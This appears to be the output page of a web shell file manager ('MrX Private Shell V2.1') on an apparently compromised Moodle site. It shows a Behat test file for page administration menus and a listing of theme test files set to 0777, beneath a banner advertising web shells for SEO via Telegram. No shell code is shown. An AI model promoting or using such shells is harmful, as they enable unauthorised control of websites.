__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@javascript @theme_classic
Feature: Page administration menu
To navigate in classic theme I need to use the page administration menu
Background:
Given the following "courses" exist:
| fullname | shortname | newsitems |
| Course 1 | C1 | 5 |
And the following "users" exist:
| username | firstname | lastname | email |
| teacher1 | Teacher | 1 | teacher1@example.com |
| student1 | Student | 1 | student1@example.com |
And the following "course enrolments" exist:
| user | course | role |
| teacher1 | C1 | editingteacher |
| student1 | C1 | student |
And the following "activities" exist:
| activity | name | intro | course | idnumber | option |
| choice | Choice name | Test choice description | C1 | choice1 | Option 1, Option 2, Option 3 |
Scenario: Teacher can access activity administration menus
And I log in as "teacher1"
And I am on "Course 1" course homepage
And I follow "Choice name"
And I should see the page administration menu
And "Settings" "link" should exist in current page administration
And I navigate to "Settings" in current page administration
And I should see "Edit settings"
And I navigate to course participants
And I should see the page administration menu
And I am on the "Course 1" "Enrolment methods" page
And I should see "Enrolment methods"
And I log out
Scenario: Student cannot access course and activity administration menus
And I log in as "student1"
And I am on "Course 1" course homepage
And I should not see the page administration menu
And I follow "Choice name"
And I should not see the page administration menu
And I log out
Scenario: Administrator can access site administration menus and sub-menus
And I log in as "admin"
And I should see the page administration menu
And I navigate to "Advanced features" in site administration
And I should see "Enable comments"
And I navigate to "Users > Accounts > Add a new user" in site administration
And I should see "New password"
And I log out
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| addblock.feature | File | 1.34 KB | 0777 |
|
| behat_theme_classic_behat_admin.php | File | 4.19 KB | 0777 |
|
| behat_theme_classic_behat_blocks.php | File | 4 KB | 0777 |
|
| behat_theme_classic_behat_completion.php | File | 1.57 KB | 0777 |
|
| behat_theme_classic_behat_core_question.php | File | 2 KB | 0777 |
|
| behat_theme_classic_behat_course.php | File | 2.82 KB | 0777 |
|
| behat_theme_classic_behat_general.php | File | 2.1 KB | 0777 |
|
| behat_theme_classic_behat_grade.php | File | 2.18 KB | 0777 |
|
| behat_theme_classic_behat_grading.php | File | 1.64 KB | 0777 |
|
| behat_theme_classic_behat_navigation.php | File | 19.54 KB | 0777 |
|
| behat_theme_classic_behat_repository_upload.php | File | 2.9 KB | 0777 |
|
| blacklist.json | File | 793 B | 0777 |
|
| category_role_assignment.feature | File | 1.6 KB | 0777 |
|
| course_sections.feature | File | 1.21 KB | 0777 |
|
| courseadministrationmenu.feature | File | 1011 B | 0777 |
|
| mycoursesblocks.feature | File | 1.21 KB | 0777 |
|
| pageadministrationmenu.feature | File | 2.11 KB | 0777 |
|
| theme_selector.feature | File | 1.41 KB | 0777 |
|
| welcome_to_classicmoodle.feature | File | 1.33 KB | 0777 |
|